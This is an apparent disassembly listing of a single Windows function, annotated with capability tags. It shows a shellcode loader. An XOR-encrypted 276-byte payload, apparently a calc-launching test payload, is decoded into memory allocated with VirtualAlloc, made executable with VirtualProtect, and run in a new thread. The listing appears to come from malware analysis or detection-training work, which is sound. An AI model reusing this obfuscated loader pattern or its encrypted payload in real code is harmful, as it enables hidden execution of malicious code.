Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov eax, dword [0x14001d008]
xor ecx, ecx
movsd xmm0, qword [str.mysecretkeee]
mov edx, 0x114
mov dword [rbp + 0x58], eax
mov r8d, 0x3000
movzx eax, byte [0x14001d00c]
lea r9d, [rcx + 4]
mov dword [rbp + 0x70], 0
mov dword [rsp + 0x30], 0x81f03191
mov dword [rsp + 0x34], 0x74a59a93
mov dword [rsp + 0x38], 0x3424656b
mov dword [rsp + 0x3c], 0x3421292c
mov dword [rsp + 0x40], 0xa6543a35
mov dword [rsp + 0x44], 0x37ee2d0e
mov dword [rsp + 0x48], 0x37f8310d
mov dword [rsp + 0x4c], 0x26ee3a7b
mov dword [rsp + 0x50], 0x17ee2d4b
mov dword [rsp + 0x54], 0xd27c313d
mov dword [rsp + 0x58], 0x45283829
mov dword [rsp + 0x5c], 0xa5542da2
mov dword [rsp + 0x60], 0x191245c1
mov dword [rsp + 0x64], 0x35455e61
mov dword [rsp + 0x68], 0x2468acaa
mov dword [rsp + 0x6c], 0x8891b86c
mov dword [rsp + 0x70], 0x3c343331
mov dword [rsp + 0x74], 0xee4537e0
mov dword [rsp + 0x78], 0x643b452f
mov dword [rsp + 0x7c], 0xfce5f9b3
mov dword [rbp - 0x80], 0x2d65656b
mov dword [rbp - 0x7c], 0x207b9e8
mov dword [rbp - 0x78], 0x24b5732b
mov dword [rbp - 0x74], 0x217d2de0
mov dword [rbp - 0x70], 0x2c5339e6
mov dword [rbp - 0x6c], 0x2286a262
mov dword [rbp - 0x68], 0x24ac9a23
mov dword [rbp - 0x64], 0x2dfb4de6
mov dword [rbp - 0x60], 0x4528a462
mov dword [rbp - 0x5c], 0xa5542da2
mov dword [rbp - 0x58], 0xacb238c1
mov dword [rbp - 0x54], 0xb564336e
mov dword [rbp - 0x50], 0x94108553
mov dword [rbp - 0x4c], 0x413f7a21
mov dword [rbp - 0x48], 0xa55c376b
mov dword [rbp - 0x44], 0x213dbd1e
mov dword [rbp - 0x40], 0x2c5739e6
mov dword [rbp - 0x3c], 0x3503a262
mov dword [rbp - 0x38], 0x212d69e0
mov dword [rbp - 0x34], 0x2c6f39e6
mov dword [rbp - 0x30], 0xff24a262
mov dword [rbp - 0x2c], 0x642ded6f
mov dword [rbp - 0x28], 0x242b38bd
mov dword [rbp - 0x24], 0x2e3c2c3b
mov dword [rbp - 0x20], 0x3c243d2a
mov dword [rbp - 0x1c], 0xe63b232c
mov dword [rbp - 0x18], 0x2624528f
mov dword [rbp - 0x14], 0x243d8594
mov dword [rbp - 0x10], 0xee3b2334
mov dword [rbp - 0xc], 0x8b329b71
mov dword [rbp - 8], 0x2d389a94
mov dword [rbp - 4], 0x657378d7
mov dword [rbp], 0x74657263
mov dword [rbp + 4], 0xe8e82d6b
mov dword [rbp + 8], 0x6573786c
mov dword [rbp + 0xc], 0xff54c822
mov dword [rbp + 0x10], 0xb09ae204
mov dword [rbp + 0x14], 0xc7c689d6
mov dword [rbp + 0x18], 0xd2df3335
mov dword [rbp + 0x1c], 0x9af8d8fe
mov dword [rbp + 0x20], 0xa1f031b8
mov dword [rbp + 0x24], 0x8634e4b
mov dword [rbp + 0x28], 0x859ee561
mov dword [rbp + 0x2c], 0x22c87c18
mov dword [rbp + 0x30], 0x1e0a0070
mov dword [rbp + 0x34], 0xec243c6b
mov dword [rbp + 0x38], 0x6a686b7
mov dword [rbp + 0x3c], 0x5a061e02
mov dword [rbp + 0x40], 0x65001d0e
movsd qword [rbp + 0x50], xmm0
mov byte [rbp + 0x5c], al
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [rsp + 0x30]
mov rdi, rax
lea rdx, str.calc_payload_addr
lea rcx, [0x14001d028]
call fcn.1400013e0
mov r8, rdi
lea rdx, str.exec_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.1400013e0
lea rcx, str._nHit_me_1st__n
call fcn.1400013e0
call fcn.14000306c
xor r8d, r8d
lea r9, [rsp + 0x30]
xor r10d, r10d
xor edx, edx
nop dword [rax + rax]
xor ecx, ecx
lea r9, [r9 + 1]
cmp rdx, 0xc
cmovne rcx, rdx
movzx eax, byte [rbp + rcx + 0x50]
xor byte [r9 - 1], al
xor eax, eax
cmp rdx, 0xc
lea rdx, [rcx + 1]
cmovne eax, r8d
inc r10d
lea r8d, [rax + 1]
cmp r10d, 0x114
jb 0x140001310
mov r8d, 0x114
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140001ea0
lea r9, [rbp + 0x70]
mov edx, 0x114
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str._nHit_me_2nd__n
mov ebx, eax
call fcn.1400013e0
call fcn.14000306c
test ebx, ebx
je 0x1400013b6
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r11, [rsp + 0x160]
xor eax, eax
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret